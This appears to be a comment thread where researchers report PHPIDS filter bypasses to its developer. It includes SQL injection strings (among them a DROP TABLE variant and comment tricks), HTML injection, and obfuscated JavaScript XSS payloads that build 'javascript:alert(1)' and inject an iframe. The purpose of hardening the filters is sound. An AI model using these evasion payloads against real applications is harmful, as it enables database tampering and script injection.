assuming someone uses Ronalds code there are a lot more injections possible. while " OR 1=1" will get detected, " OR (1)=(1)" will not.
http://demo.php-ids.org/?test=%20OR%20(1)=(1)%20
http://demo.php-ids.org/?test=1%20OR%20(DROP%20TABLE%20users)=(1)%20

Ronald already pointed that out with his example, but maybe you overlooked it ;)

this would also work for code which is using brackets around an integer like
$sql = "SELECT * FROM LOGIN WHERE id = ($_POST['id'])";
-> http://demo.php-ids.org/?test=)OR(1)=(1

same examples as above, without quotes
http://demo.php-ids.org/?test=1%20OR%20'1'%261
http://demo.php-ids.org/?test=1%20OR%20%221%22%20^%200
http://demo.php-ids.org/?test=1%20OR%20'1'|2

(only the first number quoted. quoting only the second or both will get detected)

//other SQL
http://demo.php-ids.org/?test=1'%20%23foo
--> ?test=1' #foo
(still works as comment for SQL. " # " gets detected, but not if you place some stuff behind it. Could lead to false positives when filtering)
edit: same for ?test=1' --foo

yes, you are right. I had my focus more on circumventing the IDS than estimating the dangerousness ;) Correct me if I'm wrong, but the input "1 #!foo" could be dangerous at the following query:
SELECT data FROM sensitive WHERE id = $test AND name = '$name' AND password = '$pass'

@Reiners: It's hard to define the term dangerous in this case. If an attacker manages to evade filters and the PHPIDS with "1 #!foo" he proved that the site can be attacked with SQLI. But any actual SQLI will be detected immediately. Also the problem is that is no real way to detect this pattern without generating tons of false alerts - one would have to use (?:#|//|{).*$ which matches too many things usually entered in forms... unfortunately ;)

yes, I see the problem with false postives. On a practical view it is definetly better to not filter single chars like "#". Besides that, more common injections with comments already get detected, so yeah, I agree ;)

http://www.the-mice.co.uk/SmokeTest/SmokeTest.aspx?param1=%5D%21%3E%3Ch3%3Eparam1%3C%21%5B&param2=%21%5D%3E%3Ch3%3Eparam2%3C%21%5B&param3=%21%5D%3E%3Ch3%3Eparam3%3C%21%5B
html injection, it affects php-ids too http://demo.php-ids.org/?test=%5D%21%3E%3Ch2%3EHi%2C%20Ive%20injected%20html%3C/h2%3E%3C%21%5B , although admittedly I haven't been able to get any downright malicious html in, yet

Hi .mario!
Again I played with your PHP-IDS SQLI filters, especially "OR 1=1" ;)
You are probably not going to filter all issues, but maybe some help:

//for query without quotes
http://demo.php-ids.org/?test=1%20OR%2b1=1
--> ?test=1 OR+1=1
http://demo.php-ids.org/?test=1%20OR%2b(1)=(1)%20
--> ?test=1 OR+(1)=(1)
(I've already posted those two, but since php-ids filters "1 OR 1=1" I thought it is not allowed because of false positives. maybe it slipped through the filters during the changes, because it was filtered once)

In my opinion the last two are quite important, because they fit into querys with quotes. But I also posted the other ones, since there is the problem with the comments, which also makes the examples above fit to a query with quotes.
http://demo.php-ids.org/?test=1'%20OR%20%221%22%20IS%20NOT%20NULL%20%23!asd

Thanks again - I developed a pattern to detect most of them excluding this ones:

1 OR 1 IS NOT NULL
1 OR NULL IS NULL

I will do some false positive tests with the new patter before the close 0.3.2 release - let#s see what will happen.

@Ronald: You are right - the PHPIDS doesn't check a string when only consisting of \w* for performance reasons so some very basic SQL injection probings might slip through - but as soon as you start doing some real injection action it will be detected for sure.

I'd recommend every developer to work with white lists depending on the form input he's dealing with - it's the only way. But again there's the problem with uniting security and usability.

New one which I sent mario:-
s1=''+'java'+''+'scr'+'';s2=''+'ipt'+':'+'ale'+'';s3=''+'rt'+''+'(1)'+'';u1=s1+s2+s3;URL=u1

This one's cool, which has now been fixed:-
s1=0?'':'i';s2=0?'':'fr';s3=0?'':'ame';i1=s1+s2+s3;s1=0?'':'jav';s2=0?'':'ascr';
s3=0?'':'ipt';s4=0?'':':';s5=0?'':'ale';s6=0?'':'rt';s7=0?'':'(1)';i2=s1+s2+s3+s4+s5+s6+s7;i=createElement(i1);i.src=i2;x=parentNode;x.appendChild(i);

Got loads of cool ones but failed attempts, their reg exps really do catch a lot of stuff.

This one nearly works:-
s1=(0^0==0)?'java'+'s':'ABCDEFG';s2=(!1&2|1==4)?'ABCDEFG':'crip'+'t';s3=(1^2==0)?':':'ABC'+'DEFG';s4=(1/2==1)?'ABC'+'XYZ':'aler';
s5=(2-1==1)?'t':'t';s6=(1&2!=0)?'(1)':'0123AEF'+'ABCDEFG';s7=s1+s2+s3+s4+s5+s6;URL=s7;

I've included it here because it shows exactly how hard the problem is that you are trying to solve. I've mixed many different operators/conditions to show you the difficulty of trying to protect against it.

Mario what I think you're trying to do is impossible but I hope you prove me wrong :D

I'm impressed that the above doesn't get through however parts of it probably could with slight variation. Let me know when you've done the next update and I'll love to have another go.